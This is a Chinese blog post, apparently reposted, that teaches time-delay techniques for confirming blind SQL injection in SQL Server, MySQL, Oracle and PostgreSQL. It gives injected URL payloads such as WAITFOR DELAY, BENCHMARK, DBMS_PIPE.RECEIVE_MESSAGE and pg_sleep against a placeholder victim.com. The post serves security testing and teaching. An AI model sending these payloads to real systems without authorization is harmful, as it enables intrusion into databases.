zoukankan      html  css  js  c++  java
  • 各种数据库中的时间延迟技术

    本文从使用浏览器与Web应用进行交互这一视角来讨论发现SQL注入问题时所涉及的时间延迟技术。

    测试应用程序是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以确认。这可能源于多种原因,但主要是因为Web应用未显示任何错误,因而无法检索任何数据。

    对于这种情况,要想识别漏洞,可以向数据库注入时间延迟,并检查服务器的响应是否也已经产生了延迟。时间延迟是一种很强大的技术,Web服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL注入。该技术尤其适合盲注。

    Microsoft SQL Server服务器包含一条向查询引入延迟的内置命令:WAITFOR DELAY 'hours: minutes:seconds'。例如,向Victim公司的Web服务器发送下列请求,服务器的响应大概要花5秒:
     

    http://www.victim.com/basket.aspx?uid=45;waitfor delay '0:0:5';-- 

    服务器响应中的延迟使我们确信我们正在向后台数据库注入SQL代码。

    MySQL数据库没有与WAITFOR DELAY等价的命令,但它可以使用执行时间很长的函数来引入延迟。BENCHMARK函数是很好的选择。MySQLBENCHMARK函数会将一个表达式执行许多次,它通常被用于评价MySQL执行表达式的速度。根据服务器工作负荷和计算资源的不同,数据库需要的时间也会有所不同。但如果延迟比较明显,也可使用该技术来识别漏洞。请看下面的例子:
     

    mysql> SELECT BENCHMARK(10000000,ENCODE('hello','mom'));  
    +----------------------------------------------+  
    |   BENCHMARK(10000000,ENCODE('hello','mom'))               |  
    +----------------------------------------------+  
    |   0                                                                                                                                                                                   |  
    +----------------------------------------------+  
    1   row in set (3.65 sec)  

    执行该查询花费了3.65秒。如果将这段代码注入SQL注入漏洞中,那么将延迟服务器的响应。如果想进一步延迟响应,只需增加迭代的次数即可,如下所示:
     

    http://www.victim.com/display.php?id=32; SELECT  
    BENCHMARK(10000000,ENCODE('hello','mom'));--  

    Oracle PL/SQL中,可使用下列指令集创建延迟:

    BEGIN  
    DBMS_LOCK.SLEEP(5);  
    END;  

    DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

    在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

    http://www.victim.com/display.php?id=32 or 1=dbms_pipe.receive_  
    message('RDS', 10)  

    DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

    在最新版本的PostgreSQL数据库(8.2及以上版本)中,可以使用pg_sleep函数来引起延迟:
     

    http://www.victim.com/display.php?id=32; SELECT pg_sleep(10);-- 

     

  • 相关阅读:
    oracle中job定时调用存储过程的实例
    oracle recyclebin详解(闪回删除的表)
    启动和禁用约束及删除违反约束的记录
    儒轩画的老鼠
    SQLServer2005重建索引
    [转]你真的了解 console 吗
    [转]C# 理解lock
    [转]大话 程序猿 眼里的 高并发
    莆田系医院名单
    .Net WEB 程序员需要掌握的技能
  • 原文地址:https://www.cnblogs.com/cyjaysun/p/4463979.html
Copyright © 2011-2022 走看看